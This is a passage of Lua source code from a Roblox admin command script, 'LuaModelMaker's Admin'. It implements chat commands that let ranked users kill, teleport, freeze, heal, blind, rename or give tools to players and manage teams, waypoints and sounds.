					local CustomSounds = DataStore:GetAsync("MML Custom Sounds")
					if CustomSounds == nil or type(CustomSounds) ~= "table" then
						CustomSounds = {}
						DataStore:SetAsync("M".."ML Custom Sounds", {})
					end
					if tonumber(Arg1) then
						local Request = MPS:GetProductInfo(Arg1)
						if Request.AssetTypeId == 3 then
							CustomSounds[Name] = Arg1
							SoundList[Name] = {Arg1, Request.Name}
							DataStore:SetAsync("MML Custom Sounds", CustomSounds)
							SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4)
						else
							SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4)
						end
					end
				end

				if string.sub(Message,1,8+#Bet) == "waypoint"..Bet then
					local Type = string.sub(Message, 9+#Bet, 14+#Bet)
					if Type == "player" then
						local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 15+(#Bet*2)), Bet) if not Arg1 and Arg2 then return end
						local Player = Scan(string.lower(Arg1), Speaker)[1]
						local PosName = Arg2
						if Player then
							if Player.Character ~= nil then
								if Player.Character.Torso then
									local TorPos = Player.Character.Torso.Position
									Waypoints[PosName] = Vector3.new(Round(TorPos.X), Round(TorPos.Y), Round(TorPos.Z))
								end
							end
						end
					elseif Type == "vector" then
						local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 15+(#Bet*2)), Bet) if not Arg1 and Arg2 then return end
						local Arg3, Arg4 = GetSplit(Arg2, Bet) if not Arg3 and Arg4 then return end
						local Arg5, Arg6 = GetSplit(Arg4, Bet) if not Arg5 and Arg6 then return end
						local PosName = Arg6
						if tonumber(Arg1) and tonumber(Arg3) and tonumber(Arg5) then
							Waypoints[PosName] = Vector3.new(Round(tonumber(Arg1)), Round(tonumber(Arg3)), Round(tonumber(Arg5)))
						end
					end
				end


				if string.sub(Message, 1, 14+#Bet) == "removewaypoint"..Bet or string.sub(Message, 1, 14+#Bet) == "deletewaypoint"..Bet then
					local WPName = string.sub(Message, 15+#Bet)
					local Num = 0
					for PosName,WP in pairs(Waypoints) do
						Num = Num + 1
						if string.sub(string.lower(PosName),1,#WPName) == WPName then
							Waypoints[PosName] = nil
						end
					end
				end

				if string.sub(Message,1,6+#Bet) == "notify"..Bet then
					SendHttpLog(Speaker.Name.." Sent Notification: "..string.sub(RawMessage,7+#Bet), "NOTIFICATION", Speaker)
				end

			end

			if Rank == "Owner" or Rank == "Admin" or Rank == "Member" then
				-- Member Commands --

				if Message == "test" then
					SendMessage(Speaker, "Test", "Test complete! LuaModelMaker's Admin works fine!", 3)
				end

				if Message == "logs" or Message == "log" then
					ListGui(Speaker, "Logs", ReverseTable(Logs))
				end

				if string.sub(Message, 1, 1+#Bet) == "m"..Bet then
					for _,Player in pairs(Players:GetPlayers()) do
						SendMessage(Player, "Message from "..Speaker.Name, string.sub(RawMessage, 2+#Bet), 5)
					end
				end

				if string.sub(Message, 1, 1+#Bet) == "h"..Bet then
					for _,Player in pairs(Players:GetPlayers()) do
						SendHint(Player, string.sub(RawMessage, 2+#Bet), 5)
					end
				end

				if string.sub(Message, 1, 4+#Bet) == "kill"..Bet then
					local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								Player.Character:BreakJoints()
							end
						end
					end
				end

				if string.sub(Message, 1, 3+#Bet) == "age"..Bet then
					local Players = Scan(string.sub(Message, 4+#Bet), Speaker)
					local TmpTable = {}
					for _,Player in pairs(Players) do
						if Player ~= nil then
							table.insert(TmpTable, Player.Name.." is "..FindAge(Player.AccountAge).." old")
						end
					end
					ListGui(Speaker, "Ages", TmpTable)
				end

				if string.sub(Message,1,2+#Bet) == "ff"..Bet then
					local Players = Scan(string.sub(Message, 3+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								Instance.new("ForceField", Player.Character)
							end
						end
					end
				end

				if string.sub(Message,1,4+#Bet) == "unff"..Bet or string.sub(Message,1,4+#Bet) == "noff"..Bet then
					local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								for _,Get in pairs(Player.Character:GetChildren()) do
									if Get:IsA("ForceField") then
										Get:Destroy()
									end
								end
							end
						end
					end
				end

				if string.sub(Message,1,7+#Bet) == "respawn"..Bet then
					local Players = Scan(string.sub(Message, 8+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							Player:LoadCharacter()
						end
					end
				end

				if string.sub(Message,1,3+#Bet) == "hat"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(Message, 4+#Bet), Bet) if not Arg1 and Arg2 then return end
					local Players = Scan(Arg1, Speaker)
					local ID = tonumber(Arg2)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								if ID ~= nil then
									local Object = Insert(ID)
									for _,Obj in pairs(Object:GetChildren()) do if Obj:IsA("Hat") then Obj.Parent = Player.Character end end
								end
							end
						end
					end
				end

				if string.sub(Message,1,4+#Bet) == "gear"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(Message, 5+#Bet), Bet) if not Arg1 and Arg2 then return end
					local Players = Scan(Arg1, Speaker)
					local ID = tonumber(Arg2)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Backpack ~= nil then
								local Object = Insert(ID)
								for _,Obj in pairs(Object:GetChildren()) do if Obj:IsA("Tool") or Obj:IsA("HopperBin") then Obj.Parent = Player.Character end end
							end
						end
					end
				end

				if string.sub(Message,1,5+#Bet) == "sword"..Bet then
					local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Backpack ~= nil then
								if Player.Character ~= nil then
									local Object = game:GetService("InsertService"):LoadAsset(125013769)
									Object:GetChildren()[1].Parent = Player.Character
								end
							end
						end
					end
				end

				if string.sub(Message,1,7+#Bet) == "ragdoll"..Bet then
					local Players = Scan(string.sub(Message, 8+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								if Player.Character:FindFirstChild("Humanoid") ~= nil then
									Player.Character.Humanoid:Destroy()
								end
							end
						end
					end
				end

				if string.sub(Message,1,3+#Bet) == "god"..Bet then
					local Players = Scan(string.sub(Message, 4+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								if Player.Character:FindFirstChild("Humanoid") ~= nil then
									Player.Character.Humanoid.MaxHealth = math.huge
									Player.Character.Humanoid.Health = math.huge
								end
							end
						end
					end
				end

				if string.sub(Message,1,5+#Bet) == "nogod"..Bet or string.sub(Message,1,5+#Bet) == "ungod"..Bet then
					local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								if Player.Character:FindFirstChild("Humanoid") ~= nil then
									Player.Character.Humanoid.MaxHealth = 100
									Player.Character.Humanoid.Health = 100
								end
							end
						end
					end
				end

				if string.sub(Message,1,4+#Bet) == "char"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(Message, 5+#Bet), Bet) if not Arg1 and Arg2 then return end
					local Players = Scan(Arg1, Speaker)
					local ID = tonumber(Arg2) or 0
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Arg2 == "reset" then
								ID = Player.userId
							end
							if Player.Character ~= nil then
								local Position = Player.Character.Torso.Position
								Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID
								wait() Player:LoadCharacter() wait()
								Player.Character:MoveTo(Position)
							end
						end
					end
				end

				if string.sub(Message,1,2+#Bet) == "tp"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(Message, 3+#Bet), Bet) if not Arg1 and Arg2 then return end
					local PlayersFrom = Scan(Arg1, Speaker)
					local PlayersTo = Scan(Arg2, Speaker)
					if PlayersFrom and PlayersTo then
						for _,PlayerFrom in pairs(PlayersFrom) do
							if PlayerFrom ~= nil then
								for _,PlayerTo in pairs(PlayersTo) do
									if PlayerTo ~= nil then
										if PlayerFrom.Character and PlayerTo.Character then
											PlayerFrom.Character:MoveTo(PlayerTo.Character.Torso.Position)
										end
									end
								end
							end
						end
					end
				end

				if string.sub(Message, 1, 5+#Bet) == "blind"..Bet then
					local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.PlayerGui ~= nil then
								local SG = Player.PlayerGui:FindFirstChild("LMMA Screen Cover") if SG ~= nil then SG:Destroy() end
								SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "LMMA Screen Cover"
								local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.ZIndex = 100
							end
						end
					end
				end

				if string.sub(Message, 1, 7+#Bet) == "noblind"..Bet then
					local Players = Scan(string.sub(Message, 8+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.PlayerGui ~= nil then
								local SG = Player.PlayerGui:FindFirstChild("LMMA Screen Cover") if SG ~= nil then SG:Destroy() end
							end
						end
					end
				end

				if string.sub(Message, 1, 6+#Bet) == "strobe"..Bet then
					local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.PlayerGui ~= nil then
								local SG = Player.PlayerGui:FindFirstChild("LMMA Screen Cover") if SG ~= nil then SG:Destroy() end
								SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "LMMA Screen Cover"
								local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100
								coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)()
							end
						end
					end
				end

				if string.sub(Message,1,5+#Bet) == "point"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(Message, 6+#Bet), Bet) if not Arg1 and Arg2 then return end
					local PlayersFrom = Scan(Arg1, Speaker)
					local PlayersTo = Scan(Arg2, Speaker)
					if PlayersFrom and PlayersTo then
						for _,PlayerFrom in pairs(PlayersFrom) do
							if PlayerFrom ~= nil then
								for _,PlayerTo in pairs(PlayersTo) do
									if PlayerTo ~= nil then
										if PlayerFrom.Character and PlayerTo.Character then
											if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
												local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = BrickColor.Random()
												wait(5)
												Laser:Destroy()
											end)() end
										end
									end
								end
							end
						end
					end
				end

				--[[if string.sub(Message,1,5+#Bet) == "merge"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(Message, 6+#Bet), Bet) if not Arg1 and Arg2 then return end
					local PlayersFrom = Scan(Arg1, Speaker)
					local PlayersTo = Scan(Arg2, Speaker)
					if PlayersFrom and PlayersTo then
						for _,PlayerFrom in pairs(PlayersFrom) do
							if PlayerFrom ~= nil then
								for _,PlayerTo in pairs(PlayersTo) do
									if PlayerTo ~= nil then
										if PlayerFrom.Character and PlayerTo.Character then
											PlayerFrom.Character = PlayerTo.Character
										end
									end
								end
							end
						end
					end
				end]]

				if string.sub(Message,1,5+#Bet) == "speed"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(Message, 6+#Bet), Bet) if not Arg1 and Arg2 then return end
					local Players = Scan(Arg1, Speaker)
					local Speed = tonumber(Arg2)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								if Player.Character:FindFirstChild("Humanoid") ~= nil then
									Player.Character.Humanoid.WalkSpeed = Speed
								end
							end
						end
					end
				end

				if string.sub(Message,1,6+#Bet) == "health"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(Message, 7+#Bet), Bet) if not Arg1 and Arg2 then return end
					local Players = Scan(Arg1, Speaker)
					local Health = tonumber(Arg2)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								if Player.Character:FindFirstChild("Humanoid") ~= nil then
									Player.Character.Humanoid.Health = Health
								end
							end
						end
					end
				end

				if string.sub(Message,1,4+#Bet) == "give"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(Message, 5+#Bet), Bet) if not Arg1 and Arg2 then return end
					local Players = Scan(Arg1, Speaker)
					local Object = Arg2
					for _,Player in pairs(Players) do
						if Player ~= nil then
							local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588}
							local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"}
							if Object == "psbtools" then
								for _,Tool in pairs(BuildTools) do
									Insert(Tool, Player.Backpack, true)
								end
							elseif Object == "basicbtools" then
								for Name,Type in pairs(BaseBuildTools) do
									local Tool = Instance.new("HopperBin", Player.Backpack)
									Tool.Name = Name
									Tool.BinType = Type
								end
							elseif Object == "f3xtools" or Object == "fextools" then
								local BTools = script:FindFirstChild("Building Tools")
								if BTools then
									local Tools = BTools:Clone()
									Tools.Handle.Anchored = false
									Tools.Parent = Player.Backpack
								end
							elseif Object == "btools" then
								for Name,Type in pairs(BaseBuildTools) do
									local Tool = Instance.new("HopperBin", Player.Backpack)
									Tool.Name = Name
									Tool.BinType = Type
								end
								for _,Tool in pairs(BuildTools) do
									Insert(Tool, Player.Backpack, true)
								end
								local BTools = script:FindFirstChild("Building Tools")
								if BTools then
									local Tools = BTools:Clone()
									Tools.Handle.Anchored = false
									Tools.Parent = Player.Backpack
								end
							else
								local Regions = {Lighting}
								for _,Region in pairs(Regions) do
									for _,Item in pairs(Region:GetChildren()) do
										if Item:IsA("HopperBin") or Item:IsA("Tool") then
											if Object == "all" then
												local NewItem = Item:Clone()
												NewItem.Parent = Player.Backpack
											else
												if string.sub(string.lower(Item.Name),1,#Object) == string.lower(Object) then
													local NewItem = Item:Clone()
													NewItem.Parent = Player.Backpack
												end
											end
										end
									end
								end
							end
						end
					end
				end

				if string.sub(Message,1,7+#Bet) == "control"..Bet then
					local Player = Scan(string.sub(Message, 8+#Bet), Speaker)[1]
					if Player ~= nil and Player ~= Speaker then
						if Player.Character ~= nil then
							local Position = Player.Character.Torso.Position
							Speaker.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.userId
							wait() Speaker:LoadCharacter() wait()
							Speaker.Character:MoveTo(Position)
							Speaker.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Speaker.userId

							Player.Character.Parent = nil

							wait()

							ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
							ChangeName(Speaker, Player.Name)
						end
					end
				end

				if string.sub(Message,1,4+#Bet) == "time"..Bet then
					local Time = string.sub(Message,6)
					if Time == "day" or Time == "noon" then Time = "12" end
					if Time == "night" or Time == "midnight" then Time = "0" end
					if Time == "dawn" or Time == "morning" then Time = "6:15" end
					if Time == "dusk" or Time == "evening" then Time = "17:45" end
					if Time == "afternoon" then Time = "15:30" end
					ypcall(function() game.Lighting.TimeOfDay = Time end)
				end

				if string.sub(Message,1,4+#Bet) == "team"..Bet then
					if string.sub(Message,5+#Bet,8+#Bet) == "new"..Bet then
						local NewTeam = Instance.new("Team", Teams)
						NewTeam.TeamColor = BrickColor.random()
						NewTeam.Name = string.sub(RawMessage,9+#Bet)
					end
					if string.sub(Message,5+#Bet,9+#Bet) == "join"..Bet then
						local Arg1, Arg2 = GetSplit(string.sub(Message, 10+#Bet), Bet) if not Arg1 and Arg2 then return end
						local Players = Scan(Arg1, Speaker)
						local TeamName = Arg2
						if string.lower(TeamName) == "none" then
							for _,Player in pairs(Players) do
								if Player ~= nil then
									Player.Neutral = true
								end
							end
						else
							for _,Obj in pairs(Teams:GetChildren()) do
								if Obj:IsA("Team") then
									if string.sub(string.lower(Obj.Name),1,#TeamName) == string.lower(TeamName) then
										for _,Player in pairs(Players) do
											if Player ~= nil then
												Player.Neutral = false
												Player.TeamColor = Obj.TeamColor
											end
										end
									end
								end
							end
						end
					end
					if string.sub(Message,5+#Bet,11+#Bet) == "rename"..Bet then
						local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 12+#Bet), Bet) if not Arg1 and Arg2 then return end
						local TeamName = Arg1
						local NewName = Arg2
						for _,Obj in pairs(Teams:GetChildren()) do
							if Obj:IsA("Team") then
								if string.sub(string.lower(Obj.Name),1,#TeamName) == string.lower(TeamName) then
									Obj.Name = NewName
								end
							end
						end
					end
					if string.sub(Message,5+#Bet,11+#Bet) == "remove"..Bet then
						local TeamName = string.sub(Message, 12+#Bet)
						for _,Obj in pairs(Teams:GetChildren()) do
							if Obj:IsA("Team") then
								if string.sub(string.lower(Obj.Name),1,#TeamName) == string.lower(TeamName) then
									for _,Player in pairs(Players:GetPlayers()) do
										if Player.TeamColor == Obj.TeamColor then
											Player.Neutral = true
										end
									end
									Obj:Destroy()
								end
							end
						end
					end
				end

				if string.sub(Message,1,4+#Bet) == "name"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 5+#Bet), Bet) if not Arg1 and Arg2 then return end
					local Players = Scan(Arg1, Speaker)
					local NewName = Arg2
					for _,Player in pairs(Players) do
						if Player ~= nil then
							ChangeName(Player, NewName)
						end
					end
				end

				if string.sub(Message,1,6+#Bet) == "noname"..Bet then
					local Players = Scan(string.sub(RawMessage, 7+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								local Head = Player.Character:FindFirstChild("Label")
								if Head then Head:Destroy() end
								local Head = Player.Character:FindFirstChild("Head")
								if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end
							end
						end
					end
				end

				if string.sub(Message,1,7+#Bet) == "product"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(Message, 8+#Bet), Bet) if not Arg1 and Arg2 then return end
					local Players = Scan(Arg1, Speaker)
					local Item = tonumber(Arg2)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							PromptPurchase(Player, Item)
						end
					end
				end

				if string.sub(Message,1,5+#Bet) == "debug"..Bet then
					local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								local Position = nil
								if Player.Character:FindFirstChild("Torso") then Position = Player.Character.Torso.Position end
								Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.userId
								wait() Player:LoadCharacter() wait()
								if Position then Player.Character:MoveTo(Position) end
								wait(0.1) RestoreCamera(Player)
							end
						end
					end
				end

				if string.sub(Message,1,5+#Bet) == "clone"..Bet then
					local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
								Player.Character.Archivable = true
								local Clone = Player.Character:Clone()
								Player.Character.Archivable = false
								Clone.Parent = Workspace
								Clone:MoveTo(Clone.Torso.Position)
								Clone:MakeJoints()
								table.insert(Objects, Clone)
							end
						end
					end
				end

				if string.sub(Message,1,5+#Bet) == "sound"..Bet or string.sub(Message,1,5+#Bet) == "music"..Bet or string.sub(Message,1,5+#Bet) == "audio"..Bet then
					local SoundID,Pitch = string.sub(Message, 6+#Bet),1
					for Name,Info in pairs(SoundList) do
						if SoundID == string.lower(Name) then SoundID = Info[1] end
					end
					if SoundID == 131201443 then Pitch = -1 end
					if SoundID == 130775695 then Pitch = 0.8 end
					if SoundID == 144035866 then Pitch = 0.8 end
					for _,Obj in pairs(game.Workspace:GetChildren()) do
						if Obj:IsA("Sound") then Obj:Stop() wait() Obj:Destroy() end
					end
					Sound = Instance.new("Sound", Workspace) Sound.Name = "LuaModelMaker's Admin Sound" Sound.Volume = 1 Sound.SoundId = "http://www.roblox.com/asset/?id="..SoundID Sound.Looped = true Sound.Pitch = Pitch Sound.Archivable = false coroutine.wrap(function() repeat Sound:Play() wait(0.5) Sound:Stop() wait(0.5) Sound:Play() until Sound.IsPlaying or not Sound end)()
				end

				if Message == "soundlist" or Message == "musiclist" or Message == "audiolist" or Message == "sounds" or Message == "musics" or Message == "audios" then
					local DisplayList = {}
					for Name,Info in pairs(SoundList) do
						table.insert(DisplayList, "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2])
					end
					ListGui(Speaker, "Sound List", DisplayList)
				end

				if string.sub(Message,1,7) == "nosound" then
					for _,Obj in pairs(game.Workspace:GetChildren()) do
						if Obj:IsA("Sound") then Obj:Stop() wait() Obj:Destroy() end
					end
				end

				if string.sub(Message,1,6+#Bet) == "freeze"..Bet then
					local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								if Player.Character:FindFirstChild("Humanoid") ~= nil then
									Player.Character.Humanoid.WalkSpeed = 0
									for _,Object in pairs(Player.Character:GetChildren()) do if Object:IsA("BasePart") then
										Object.Anchored = true
									end end
								end
							end
						end
					end
				end

				if string.sub(Message,1,8+#Bet) == "nofreeze"..Bet then
					local Players = Scan(string.sub(Message, 9+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								if Player.Character:FindFirstChild("Humanoid") ~= nil then
									Player.Character.Humanoid.WalkSpeed = 16
									for _,Object in pairs(Player.Character:GetChildren()) do if Object:IsA("BasePart") then
										Object.Anchored = false
									end end
								end
							end
						end
					end
				end

				if string.sub(Message,1,8+#Bet) == "forwards"..Bet then
					local Players = Scan(string.sub(Message, 9+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								if Player.Character:FindFirstChild("Humanoid") ~= nil then
									Player.Character.Humanoid.WalkSpeed = 16
								end
							end
						end
					end
				end

				if string.sub(Message,1,9+#Bet) == "backwards"..Bet then
					local Players = Scan(string.sub(Message, 10+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								if Player.Character:FindFirstChild("Humanoid") ~= nil then
									Player.Character.Humanoid.WalkSpeed = -16
								end
							end
						end
					end
				end

				if string.sub(Message, 1, 9+#Bet) == "shownotes"..Bet or string.sub(Message, 1, 9+#Bet) == "loadnotes"..Bet then
					local Players = Scan(string.sub(Message, 10+#Bet), Speaker)
					local DataSet = {}
					for _,Player in pairs(Players) do
						if Player ~= nil then
							local ExistingData = Player:LoadInstance("Data")
							if ExistingData ~= nil then
								if #ExistingData:GetChildren() ~= 0 then
									for _,Data in pairs(ExistingData:GetChildren()) do
										table.insert(DataSet, Player.Name..": "..Data.Name)
									end
								else
									table.insert(DataSet, "Data does not exist for "..Player.Name)
								end
							else
								table.insert(DataSet, "Data does not exist for "..Player.Name)
							end
						end
					end
					ListGui(Speaker, "Notes", DataSet)
				end

				if string.sub(Message,1,7+#Bet) == "notools"..Bet then
					local Players = Scan(string.sub(Message, 8+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Backpack ~= nil then
								Player.Backpack:ClearAllChildren()
							end
							if Player.Character ~= nil then
								for _,Obj in pairs(Player.Character:GetChildren()) do
									if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
										Obj:Destroy()
									end
								end
							end
						end
					end
				end

				if string.sub(Message,1,6+#Bet) == "nohats"..Bet then
					local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								for _,Obj in pairs(Player.Character:GetChildren()) do
									if Obj:IsA("Hat") then
										Obj:Destroy()
									end
								end
							end
						end
					end
				end

				if string.sub(Message,1,9+#Bet) == "taketools"..Bet then
					local Players = Scan(string.sub(Message, 10+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Backpack ~= nil then
								if Speaker.Backpack ~= nil then
									for _,Object in pairs(Player.Backpack:GetChildren()) do
										if Object:IsA("Tool") or Object:IsA("HopperBin") then
											local Clone = Object:Clone()
											Clone.Parent = Speaker.Backpack
										end
									end
								end
							end
						end
					end
				end

				if string.sub(Message,1,9+#Bet) == "givetools"..Bet then
					local Players = Scan(string.sub(Message, 10+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Backpack ~= nil then
								if Speaker.Backpack ~= nil then
									for _,Object in pairs(Speaker.Backpack:GetChildren()) do
										if Object:IsA("Tool") or Object:IsA("HopperBin") then
											local Clone = Object:Clone()
											Clone.Parent = Player.Backpack
										end
									end
								end
							end
						end
					end
				end

				if string.sub(Message,1,4+#Bet) == "heal"..Bet then
					local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								if Player.Character:FindFirstChild("Humanoid") ~= nil then
									Player.Character.Humanoid.MaxHealth = 100
									Player.Character.Humanoid.Health = 100
								end
							end
						end
					end
				end

				if string.sub(Message,1,4+#Bet) == "face"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(Message, 5+#Bet), Bet) if not Arg1 and Arg2 then return end
					local Players = Scan(Arg1, Speaker)
					local ID = Arg2
					if tonumber(Arg2) ~= nil then
						ID = GetImageFormat(tonumber(ID))
					else
						for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
							for _,Face in pairs(FaceTable) do
								if string.lower(Arg2) == string.lower(Face) then
									ID = FaceID
									break
								end
							end
						end
					end
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								if Player.Character.Head ~= nil then
									if Player.Character.Head.face ~= nil then
										Player.Character.Head.face.Texture = "http://www.roblox.com/asset/?id="..ID
										pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "http://www.roblox.com/asset/?id="..ID end)
									end
								end
							end
						end
					end
				end

				if string.sub(Message,1,2+#Bet) == "pm"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 3+#Bet), Bet) if not Arg1 and Arg2 then return end
					local Players = Scan(Arg1, Speaker)
					local MessageArg = Arg2
					for _,Player in pairs(Players) do
						if Player ~= nil then
							SendMessage(Player, "Message from "..Speaker.Name, MessageArg, 5)
						end
					end
				end

				if string.sub(Message,1,3+#Bet) == "fly"..Bet then
					local Players = Scan(string.sub(Message, 4+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							Fly(Player, 10000)
						end
					end
				end

				if string.sub(Message,1,5+#Bet) == "nofly"..Bet then
					local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								Instance.new("Configuration", Player.Character).Name = "LM".."MFlyStop"
							end
						end
					end
				end

				if string.sub(Message,1,10+#Bet) == "brightness"..Bet then
					Lighting.Brightness = tonumber(string.sub(Message, 11+#Bet)) or 1
				end

				if string.sub(Message,1,6+#Bet) == "noclip"..Bet then
					local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							Fly(Player, 1000000)
						end
					end
				end

				if string.sub(Message,1,5+#Bet) == "invis"..Bet then
					local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								for _,Object in pairs(Player.Character:GetChildren()) do
									if Object:IsA("BasePart") then
										Object.Transparency = 1
									end
									for _,Obj in pairs(Object:GetChildren()) do
										if Obj:IsA("BasePart") then
											Obj.Transparency = 1
										elseif Obj:IsA("Decal") then
											Obj.Transparency = 1
										end
									end
								end
							end
						end
					end
				end

				if string.sub(Message,1,3+#Bet) == "vis"..Bet then
					local Players = Scan(string.sub(Message, 4+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								for _,Object in pairs(Player.Character:GetChildren()) do
									if Object:IsA("BasePart") then if Object.Name ~= "HumanoidRootPart" then
										Object.Transparency = 0
									end end
									for _,Obj in pairs(Object:GetChildren()) do
										if Obj:IsA("BasePart") then
											Obj.Transparency = 0
										elseif Obj:IsA("Decal") then
											Obj.Transparency = 0
										end
									end
								end
							end
						end
					end
				end

				if string.sub(Message,1,8+#Bet) == "headsize"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 9+#Bet), Bet) if not Arg1 and Arg2 then return end
					local Players = Scan(Arg1, Speaker)
					local Size = tonumber(Arg2)+25
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								if Player.Character:FindFirstChild("Head") ~= nil then
									if Player.Character.Head:FindFirstChild("Mesh") then
										Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
									end
								end
							end
						end
					end
				end

				if string.sub(Message,1,7+#Bet) == "overlay"..Bet then
